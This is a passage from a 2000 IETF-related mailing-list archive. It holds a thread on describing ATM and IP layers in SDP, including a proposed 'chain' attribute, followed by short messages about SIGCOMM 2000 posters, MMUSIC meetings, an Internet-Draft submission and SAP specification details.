>>>> Cc: atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
>>>> confctrl@ISI.EDU
>>>> Subject: Scope of ATM SDP work
>>>>
>>>> Sophia, Mark, Brian,
>>>>
>>>> At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:
>>>> >Rajesh,
>>>> >
>>>> >
>>>> >When a MG is capable of routing/switching on IP and different ATM
>>>> >layers, then it becomes an issue of how both ends agree on which layer
>>>> >to route/switch. If both ends are capable of doing ATM (and the same
>>>> >AAL), then all the ATM parameters must be agreed upon by both MGs. In
>>>> >that case, c=ATM is used. If we don't use c=ATM and provide necessary
>>>> >ATM parameters, the mismatch may happen on the ATM layer setup. 
>>>>
>>>> The IP applications I had in mind involved no call-by-call ATM set-up,
>>>> although ATM PVCs could be used for some or all of the IP routing hops. In
>>>> this case, the voice call is routed at only on layer (IP) and the ATM
>>>> connectivity is fixed.
>>>>
>>>> Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
>>>> VoIP network, then what you have said is absolutely true. At the
>>>> SDP-level, the way I see it being addressed is through multiple SDP
>>>> descriptions (multiple v=) lines. THis is what Megaco mentions too: "When
>>>> multiple session descriptions are provided in one descriptor,the "v="
>>>> lines are required as delimiters..."  There would be an ATM session
>>>> description and an IP session description.
>>>>
>>>> By its very nature, the ATM SDP  internet draft addresses ATM session
>>>> descriptions only. My question to you, to Brian and to the rest of this
>>>> mailing list is: Is is adequate for that? Do we need to add special
>>>> constructs to it? I do not believe so.
>>>>
>>>> On the other hand, you might want to define a way to use SDP  for IP to
>>>> declare whether a lower layer protocol is ethernet or ATM or
>>>> Packet-over-sonet or packet-over-lambda. For instance, you can state
>>>>
>>>>         a=fmtp: <lower layer>
>>>>        
>>>> where <lower layer> is defined as
>>>>            ATM | Ethernet | POS | POLambda | .....
>>>>
>>>>  
>>>> >
>>>> >Once the ATM layer is setup, the applications on both MGs may use the IP
>>>> >layer information to do further processing. In that case, the IP layer
>>>> >information can either be encapsulated in the ATM payload or be
>>>> >explicitly specified in the SDP. If an intermediate node is involved, we
>>>> >usually don't like it to peek into the payload to find the information.
>>>> >The needed information should be in the SDP. At the same time, we don't
>>>> >want the same information be put in two places (SDP and payload),
>>>> >either.  
>>>> >
>>>> >The layering protocol principle is that if layer 2 get you where you
>>>> >want to be, then don't go up to layer 3. We go up to layer 3 in the
>>>> >situation that layer 2 protocols are different. For example, one end
>>>> >does VOIP/ATM and the other end does VOIP/ETHERNET. Any intermediate
>>>> >nodes can use different protocols, but that is transparent in the SDP
>>>> >for end-to-end description.
>>>> >
>>>> >The question is how does the originating MG knows which layer 2 protocol
>>>> >the terminating MG uses? Mark Watson and I have a proposal in draft,
>>>> >which will be submitted to ITU-T SG11 BICC/CS2, to provide a solution
>>>> >for this type of situation. However, ITU-T SG11 may not be the right
>>>> >group to evaluate the idea. This group or SG16 may be the right one for
>>>> >discussion.
>>>>
>>>> It would be great if you can share your draft with us at the right time.
>>>> However, I am not sure if this is the right group since you're not looking
>>>> at VoATM but VoIP via flexible lower layer selection. As I mentioned
>>>> before, at the SDP level, this would be handled in a separate IP SDP
>>>> descriptor, placed just next to the ATM SDP descriptor.
>>>>
>>>> I do not want the ATM SDP work to be side-tracked at this point or in the
>>>> Pittsburgh IETF on issues that, while being very important and
>>>> interesting, are tangential to ATM SDP. However, I would be glad to
>>>> review, discuss and offer suggestions on your scheme in this or in another
>>>> forum.
>>>>
>>>> Please let me know if you agree.
>>>>  
>>>> >Rajesh Kumar wrote:
>>>> >> 
>>>> >> Sophia,
>>>> >> 
>>>> >> 
>>>> >> >Do you know if VOIP/ATM will use both c=IN and c=ATM?
>>>> >> 
>>>> >> VoIP will use c=IN regardless of whether it runs over ATM or not. In
>>>> >> some cases, it might run partially over an ATM segment and partially
>>>> >> over a non-ATM segment. This case should be treated in the SDP as a
>>>> >> VoIP.
>>>> >> 
>>>> >> c=ATM will be used when RTP is encapsulated raw over AAL5 (no IP)as in
>>>> >> H.323 Annex C.
>>>> >> 
>>>> > 
>>>> ^^^^^^^^^^^^^^^^^^^^^
>>>> Rajesh Kumar, Ph.D.
>>>> Technical Leader        
>>>> Carrier Packet Voice
>>>> Cisco Systems
>>>> San Jose, California
>>>> ^^^^^^^^^^^^^^^^^^^^^
>>>>  rkumar@cisco.com                 
>>>> 408 527 0811                
>>>> ^^^^^^^^^^^^^^^^^^^^^
>>>>  
>>>
>>
>>
>>
>> ^^^^^^^^^^^^^^^^^^^^^
>> Rajesh Kumar, Ph.D.
>> Technical Leader        
>> Carrier Packet Voice
>> Cisco Systems
>> San Jose, California
>> ^^^^^^^^^^^^^^^^^^^^^
>>  rkumar@cisco.com                 
>> 408 527 0811                
>> ^^^^^^^^^^^^^^^^^^^^^
>>  
>



^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
 rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 

--=====================_312839==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
At 05:57 PM 6/29/00 -0400, Rosen, Brian wrote: <br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>We
have another mechanism in Megaco, but I'm not sure how well it would work
in MGCP and other</font><br>
users of SDP.&nbsp; We create separate terminations for the ATM VC and
the flow on it.&nbsp; We use this<br>
mechanism because it handles cases like AAL1 and 2 where you have a
multiplexed flow on the same<br>
connection.&nbsp; So you use one SDP descriptor for the VC, and another,
entirely separate one for <br>
(each of ) the subflow(s).&nbsp; It allows you to create and destroy the
subflows independently of the VC.<br>
In particular, it allows you to keep the VC when you have no flows, and
subsequently delete it when you<br>
decide you won't need it again.&nbsp; While not strictly usefull for the
case of IP over AAL5, using the same<br>
mechanism is good.</blockquote><br>
Yes, I agree. However, to make the SDP draft generic I will include the
'chain' attribute I described below.<br>
<br>
<b>Another point:</b> We need to freeze the draft for the Pittsburgh
IETF. I will be issuing the next draft<br>
draft-rajeshkumar-mmusic-sdp-atm-04.txt next week&nbsp; with the page
numbers etc.&nbsp;&nbsp;&nbsp; I will be submitting it to the IETF.<br>
<br>
I will still be receiving and recording comments, but I will defer
updates until after the Pittsburgh IETF. Hopefully, we will have a
standards track version of this Internet Draft following the Pittsburgh
meeting.<br>
<br>
Rajesh<br>
<br>
<blockquote type=cite cite>&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Brian</font><br>
<font face="tahoma" size=2><blockquote type=cite cite>-----Original
Message-----<br>
<b>From:</b> Rajesh Kumar
[<a href="mailto:rkumar@cisco.com" eudora="autourl">mailto:rkumar@cisco.com</a>]<br>
<b>Sent:</b> Wednesday, June 28, 2000 8:55 PM<br>
<b>To:</b> Rosen, Brian; Sophia Scoggins<br>
<b>Cc:</b> atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU; mmostafa@cisco.com; hisham@cisco.com;
ifhussai@cisco.com; rbiskner@cisco.com<br>
<b>Subject:</b> Chaining IP and ATM descriptions<br>
<br>
</font>At 08:36 AM 6/27/00 -0400, Rosen, Brian wrote: <br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Multiple
session descriptions are used as alternatives in Megaco, so your first
solution would</font><br>
be difficult to use.&nbsp; </blockquote><br>
I am aware of that. However, I have an idea which I want to run by these
mailing lists before incorporating it into the draft.<br>
<br>
How about a &quot;chain&quot; attribute that chains an SDP descriptor to
an immediately adjacent one (next, previous) so that it is possible to
describe a connection with an IP SDP descriptor as well as an ATM SDP
descriptor. Comes in handy in a number of scenarios such as
RSVP-over-SVCs, MPLS etc.<br>
<br>
The mechanics of how this is accomplished are trivial.<br>
&nbsp;&nbsp;&nbsp;&nbsp; a=chain: &lt;pointer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp; &lt;pointer&gt; ::= &quot;next&quot;|
&quot;previous&quot;|null<br>
<br>
Omitting this attribute is equivalent to null.<br>
<br>
As Brian indicated, the current concept in megaco etc. is that multiple
adjacent descriptors imply alternation rather than concatenation of SDP
descriptions. My proposal above would allow both, and would obviate the
need to create horrendously complex SDP descriptions that describe a
connection that is dynamically established at both the IP and ATM layers.
Separate, clean SDP descriptions are provided for the IP and ATM layers,
IP is on top of ATM, and these are chained using the chain
attribute.<br>
<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>I'd
prefer that the solution show you the complete description, which
could</font><br>
be multiple &quot;layers&quot;.&nbsp; </blockquote><br>
<br>
I strongly feel that the problems Sophia brought up is an important one
and warrants a simple, elegant solution rather than including a lot of IP
parameters into what is basically an ATM SDP description. Providing
separate, chained descriptors for the layers will keep it simple and
clean.<br>
<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>I do
wonder if we are getting really complex for no good
reason.</font></blockquote><br>
Perhaps, but we need to address the possibility of RSVP-over-SVCs, MPLS
etc. i.e cases in which there is multi-layer connection
establishment.<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Specifically,
we have a way to specify Annex C, so the real issue is a way to specify a
full</font><br>
IP/UDP/RTP where the underlying connection is an ATM connection, and, for
some reason,<br>
you have to say that specifically.&nbsp; </blockquote><br>
Yes, specifying that the underlying connection is an ATM connection will
work in simple cases. As I mentioned in my last email, you just add an
fmtp to the RTP/IP description.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a=fmtp:
&lt;lower layer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>where
&lt;lower layer&gt; is defined as ATM | Ethernet | POS | POLambda |
.....<br>
<br>
This might not be adequate when you are trying to establish an IP and the
underlying ATM connection at the same time, and trying to link them
together. I think the chaining mechanism I described above will do the
trick and will keep the descriptions for IP and ATM separate, clean and
crisp.<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>Is
that really useful - are there applications that, for
example,</font><br>
want to have the MGC establish an ATM VC to a specific end point,and then
run IP over it,</blockquote><br>
<br>
Yes, there are. RSVP over SVCs is an example. This has been discussed
publicly by several companies. Will this succeed? I don't know. We do not
want to muddy the ATM descriptor with several IP parameters, but we
should be able to chain to an IP descriptor (I think).<br>
<br>
If I do not receive inputs to the contrary, I will incorporate the chain
attribute I mentioned above. Hope, this will not ruffle feathers in h.248
and elsewhere. Please let me know.<br>
<br>
<font face="arial" size=2 color="#0000FF"><blockquote type=cite cite>as
opposed to using the more automatic mechanisms like LANE/MPOA and/or
standard</font><br>
routing over an ATM infrastructure?&nbsp; <br>
&nbsp;<br>
<font face="arial" size=2 color="#0000FF">Brian</font><br>
<font face="tahoma" size=2><blockquote type=cite cite>-----Original
Message-----<br>
<b>From:</b> Rajesh Kumar
[<a href="mailto:rkumar@cisco.com" eudora="autourl">mailto:rkumar@cisco.com</a>]<br>
<b>Sent:</b> Monday, June 26, 2000 7:39 PM<br>
<b>To:</b> Sophia Scoggins<br>
<b>Cc:</b> atmsdp@eng.fore.com; Mark Watson; msf-media@msforum.org;
confctrl@ISI.EDU<br>
<b>Subject:</b> Scope of ATM SDP work<br>
<br>
</font>Sophia, Mark, Brian,<br>
<br>
At 07:58 AM 6/26/00 -0400, Sophia Scoggins wrote:<br>
&gt;Rajesh,<br>
&gt;<br>
&gt;<br>
&gt;When a MG is capable of routing/switching on IP and different
ATM<br>
&gt;layers, then it becomes an issue of how both ends agree on which
layer<br>
&gt;to route/switch. If both ends are capable of doing ATM (and the
same<br>
&gt;AAL), then all the ATM parameters must be agreed upon by both MGs.
In<br>
&gt;that case, c=ATM is used. If we don't use c=ATM and provide
necessary<br>
&gt;ATM parameters, the mismatch may happen on the ATM layer setup. 
<br>
<br>
<font color="#FF0000">The IP applications I had in mind involved no
call-by-call ATM set-up, although ATM PVCs could be used for some or all
of the IP routing hops. In this case, the voice call is routed at only on
layer (IP) and the ATM connectivity is fixed.<br>
<br>
Of course, if you want to use ATM SVCs that are mapped into an RSVP-based
VoIP network, then what you have said is absolutely true. At the
SDP-level, the way I see it being addressed is through multiple SDP
descriptions (multiple v=) lines. THis is what Megaco mentions too:
&quot;When multiple session descriptions are provided in one
descriptor,the &quot;v=&quot; lines are required as
delimiters...&quot;&nbsp; There would be an ATM session description and
an IP session description.<br>
<br>
By its very nature, the ATM SDP&nbsp; internet draft addresses ATM
session descriptions only. My question to you, to Brian and to the rest
of this mailing list is: Is is adequate for that? Do we need to add
special constructs to it? I do not believe so.<br>
<br>
On the other hand, you might want to define a way to use SDP&nbsp; for IP
to declare whether a lower layer protocol is ethernet or ATM or
Packet-over-sonet or packet-over-lambda. For instance, you can 
state<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>a=fmtp:
&lt;lower layer&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
where &lt;lower layer&gt; is defined as<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ATM |
Ethernet | POS | POLambda | .....<br>
<br>
</font>&nbsp;<br>
&gt;<br>
&gt;Once the ATM layer is setup, the applications on both MGs may use the
IP<br>
&gt;layer information to do further processing. In that case, the IP
layer<br>
&gt;information can either be encapsulated in the ATM payload or be<br>
&gt;explicitly specified in the SDP. If an intermediate node is involved,
we<br>
&gt;usually don't like it to peek into the payload to find the
information.<br>
&gt;The needed information should be in the SDP. At the same time, we
don't<br>
&gt;want the same information be put in two places (SDP and
payload),<br>
&gt;either.&nbsp; <br>
&gt;<br>
&gt;The layering protocol principle is that if layer 2 get you where
you<br>
&gt;want to be, then don't go up to layer 3. We go up to layer 3 in
the<br>
&gt;situation that layer 2 protocols are different. For example, one
end<br>
&gt;does VOIP/ATM and the other end does VOIP/ETHERNET. Any
intermediate<br>
&gt;nodes can use different protocols, but that is transparent in the
SDP<br>
&gt;for end-to-end description.<br>
&gt;<br>
&gt;The question is how does the originating MG knows which layer 2
protocol<br>
&gt;the terminating MG uses? Mark Watson and I have a proposal in
draft,<br>
&gt;which will be submitted to ITU-T SG11 BICC/CS2, to provide a
solution<br>
&gt;for this type of situation. However, ITU-T SG11 may not be the
right<br>
&gt;group to evaluate the idea. This group or SG16 may be the right one
for<br>
&gt;discussion.<br>
<br>
<font color="#FF0000">It would be great if you can share your draft with
us at the right time. However, I am not sure if this is the right group
since you're not looking at VoATM but VoIP via flexible lower layer
selection. As I mentioned before, at the SDP level, this would be handled
in a separate IP SDP descriptor, placed just next to the ATM SDP
descriptor.<br>
<br>
I do not want the ATM SDP work to be side-tracked at this point or in the
Pittsburgh IETF on issues that, while being very important and
interesting, are tangential to ATM SDP. However, I would be glad to
review, discuss and offer suggestions on your scheme in this or in
another forum.<br>
<br>
Please let me know if you agree.<br>
</font>&nbsp;<br>
&gt;Rajesh Kumar wrote:<br>
&gt;&gt; <br>
&gt;&gt; Sophia,<br>
&gt;&gt; <br>
&gt;&gt; <br>
&gt;&gt; &gt;Do you know if VOIP/ATM will use both c=IN and c=ATM?<br>
&gt;&gt; <br>
&gt;&gt; VoIP will use c=IN regardless of whether it runs over ATM or
not. In<br>
&gt;&gt; some cases, it might run partially over an ATM segment and
partially<br>
&gt;&gt; over a non-ATM segment. This case should be treated in the SDP
as a<br>
&gt;&gt; VoIP.<br>
&gt;&gt; <br>
&gt;&gt; c=ATM will be used when RTP is encapsulated raw over AAL5 (no
IP)as in<br>
&gt;&gt; H.323 Annex C.<br>
&gt;&gt; <br>
&gt; <br>
<font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><b>Rajesh Kumar, Ph.D.<br>
</b><font face="Arial, Helvetica" size=2 color="#800000">Technical
Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
</font><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="haettenschweiler" size=4 color="#800000">&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811</font><font face="Times New Roman, Times" size=2 color="#800000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="garamond" color="#800000"><i>&nbsp;</font></i></blockquote></blockquote><br>
<br>
</i><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Comic Sans MS" size=2 color="#800000"><b>Rajesh Kumar,
Ph.D.<br>
</font></b><font face="Arial, Helvetica" size=2 color="#800000">Technical
Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
</font><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="haettenschweiler" size=4 color="#800000">&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811</font><font face="Times New Roman, Times" size=2 color="#800000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="garamond" color="#800000"><i>&nbsp;</font></i></blockquote></blockquote><br>
</i><br>

<font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Comic Sans MS" size=2 color="#800000"><b>Rajesh Kumar,
Ph.D.<br>
</font></b><font face="Arial, Helvetica" size=2 color="#800000">Technical
Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
</font><font face="Times New Roman, Times" size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Haettenschweiler" size=4 color="#800000">&nbsp;rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811</font><font face="Times New Roman, Times" size=2 color="#800000"><x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_312839==_.ALT--


From confctrl-owner  Mon Jul  3 17:18:25 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA27853
	for confctrl-outgoing; Mon, 3 Jul 2000 17:18:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA27848
	for <confctrl@zephyr.isi.edu>; Mon, 3 Jul 2000 17:18:23 -0700 (PDT)
Received: (from touch@localhost)
	by tnt.isi.edu (8.8.7/8.8.6) id RAA28817
	for confctrl@isi.edu; Mon, 3 Jul 2000 17:19:14 -0700 (PDT)
Date: Mon, 3 Jul 2000 17:19:14 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Message-Id: <200007040019.RAA28817@tnt.isi.edu>
To: confctrl@ISI.EDU
Subject: reminder - Sigcomm 2000 student poster application deadline approaching
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Applications for the Student Poster Session - Work-in-progress at
Sigcomm 2000 is July 12, 2000.  Please see the website below for
further information on how to submit a proposal.

---------------------------------------------------------------


			   Call for Papers
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

>>  Student Poster Session - Work-in-progress applications: July 12, 2000

Student Poster Session - Work-in-progress 

This year, the SIGCOMM 2000 conference will sponsor a poster
session aimed at showcasing the "work-in-progess" of students
attending the conference. The goal of the poster session is to
present students' work in progress and provide an opportunity for
informal discussion of the work with the students within the
conference venue. 

Authors should submit a 500 word text file describing the research to
be presented in the poster, as well as a draft of the poster material
in pdf or postscript format. Send both of the above by July 12, 2000
to sigcomm2000-pcchairs@cs.umass.edu Notification details, further
specifics on poster formats, and eligibility information are available
at the SIGCOMM 2000 website.

Additional information on SIGCOMM 2000 Keynote Address:

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data commu-nications. ACM SIGCOMM is pleased to announce that the
2000 SIGCOMM Award is being given to Prof.  Andre' Danthine of the
University of Liege, Belgium. Prof. Danthine will receive the award
and give the conference keynote address, entitled "Mutual Cloning
Between Network Paradigms," in the opening session on Wednesday.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)

From confctrl-owner  Wed Jul  5 14:02:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA17910
	for confctrl-outgoing; Wed, 5 Jul 2000 14:02:10 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA17902
	for <confctrl@zephyr.isi.edu>; Wed, 5 Jul 2000 14:02:08 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id OAA15752
	for <confctrl@isi.edu>; Wed, 5 Jul 2000 14:02:50 -0700 (PDT)
Received: from plumps (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e65L2ux06644
	for <confctrl@isi.edu>; Wed, 5 Jul 2000 23:02:56 +0200 (MET DST)
Message-Id: <200007052102.e65L2ux06644@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Wed, 05 Jul 2000 22:51:30 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC in Pittsburgh
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

the MMUSIC WG intends (but is not yet scheduled) to meet twice
at the upcoming IETF in Pittsburgh.

We will cover at least RTSP and SDP revisions and SDPng.  I would
like to solicit input for the agenda on the above as well as other
topics.  Please contact me directly via email to request an agenda
slot and please make sure that what you want to talk about is
documented as an Internet Draft and available in time for people
to review and discuss on the mailing list prior to the meeting.

Thanks,
Joerg



From confctrl-owner  Thu Jul  6 10:00:36 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA24546
	for confctrl-outgoing; Thu, 6 Jul 2000 10:00:36 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA24536
	for <confctrl@zephyr.isi.edu>; Thu, 6 Jul 2000 10:00:34 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id KAA07555
	for <confctrl@isi.edu>; Thu, 6 Jul 2000 10:01:25 -0700 (PDT)
Received: from NSYRACUS ([10.27.5.110])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA21065;
	Thu, 6 Jul 2000 13:01:18 -0400 (EDT)
Date: Thu, 6 Jul 2000 13:04:06 -0400 (Eastern Daylight Time)
From: Natalia Syracuse <nsyracus@ietf.org>
To: Rajesh Kumar <rkumar@cisco.com>
cc: "Rosen, Brian" <brosen@fore.com>, internet-drafts@ietf.org,
        bfoster@cisco.com, confctrl@ISI.EDU, mjh@aciri.org,
        jo@tzi.uni-bremen.de, atmsdp@eng.fore.com, msf-media@msforum.org
Subject: Re: Submission: draft-rajeshkumar-mmusic-sdp-atm-04.txt
In-Reply-To: <4.1.20000630143509.016fca80@wanbu-mail.cisco.com>
Message-ID: <Pine.WNT.4.20.0007061303150.-932733@nsyracus.cnri.reston.va.us>
X-X-Sender: nsyracus@odin.ietf.org
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

According to our database your draft-rajeshkumar-mmusic-sdp-atm has a
ver02 (not04). I corrected it, please do a note.

Natalia Syracuse

On Fri, 30 Jun 2000, Rajesh Kumar wrote:

>  Attached is draft-rajeshkumar-mmusic-sdp-atm-04.txt for placement at the IETF
> site. It obsoletes
>  draft-rajeshkumar-mmusic-sdp-atm-01.txt, which should be   removed. Please
> have it placed
> in the IETF site, after checking if it generally legible and well-formatted
> (Text files sometimes 
> behave idiosyncratically). If formatting is needed, let me know as soon as
> possible.
> 
> Note to Jeorg: We exchanged emails earlier about allocating a 30 minute slot at
> the Pittsburgh IETF
> MMUSIC session. Please let me know the date of the review, and the procedures
> for moving it 
> into standards track expeditiously. That will still give us 6 months of
> industry review on the          
> mailing list 'atmsdp@eng.fore.com' before it moves into rfc status.


From confctrl-owner  Fri Jul  7 06:17:06 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA19633
	for confctrl-outgoing; Fri, 7 Jul 2000 06:17:06 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA19628
	for <confctrl@zephyr.isi.edu>; Fri, 7 Jul 2000 06:17:04 -0700 (PDT)
Received: from east.isi.edu (east.isi.edu [38.245.76.2])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id GAA20431
	for <confctrl@isi.edu>; Fri, 7 Jul 2000 06:17:55 -0700 (PDT)
Received: from purple.east.isi.edu (purple.east.isi.edu [38.245.76.9])
	by east.isi.edu (8.9.2/8.9.2) with ESMTP id JAA18182;
	Fri, 7 Jul 2000 09:18:21 -0400 (EDT)
Received: from purple.east.isi.edu (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.8.7) with ESMTP id DAA01122;
	Fri, 7 Jul 2000 03:37:19 +0100
Message-Id: <200007070237.DAA01122@purple.east.isi.edu>
To: Markus Buchhorn <markus@acsys.anu.edu.au>
cc: confctrl@ISI.EDU
Subject: Re: sap specs and implementations 
In-Reply-To: Message from Markus Buchhorn <markus@acsys.anu.edu.au> 
   of "Fri, 07 Jul 2000 11:32:17 +1000." <3.0.32.20000707113216.01147e20@acsys.anu.edu.au> 
Date: Thu, 06 Jul 2000 22:37:19 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[Replies redirected to confctrl@isi.edu]

--> Markus Buchhorn writes:
>G'day All
>
>I've just been working on a (perl) sap listener and decoder, and following
>the latest sap-v2 (-06) draft. This has led to a couple of questions :-)
>
>Firstly - what other sap announcers are out there? I can see plenty of
>versions of sdr sending sapv0 and sapv1/2 packets, and I think also Peter's
>mstar stuff, but no others. I'm looking for some to test my decoder
>against, and also test the authentication parts (which sdr doesn't appear
>to let me get at). (At the same time what listeners are there? I'm also
>writing a sap announcer, so need somebody else to check against.)

I believe the Cisco IP/TV folks have an implementation. There are 
some versions of sdr which support the authentication - ask on the
sdr@cs.ucl.ac.uk mailing list for details.

>Second - does *anybody* actually use the msg id hash field as they "SHOULD"
>(and also not set it to zero as they "SHOULD" not)?

Don't know...

>Finally - a tiny comment on the draft. In section 5 under Session
>Modification, it says 
>
>>A pre-announced session can be modified by simply announcing the modified
>>session description.  In this case, the version hash in the SAP header MUST
>>be changed
>
>There is no field called the 'version hash' - there is a 'version' 3-bit
>and there is a 'msg id hash' - you want the latter, right?. 

Right. Minor typo to fix, I guess.

Colin

From confctrl-owner  Sun Jul  9 08:46:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA25219
	for confctrl-outgoing; Sun, 9 Jul 2000 08:46:43 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA25214
	for <confctrl@zephyr.isi.edu>; Sun, 9 Jul 2000 08:46:41 -0700 (PDT)
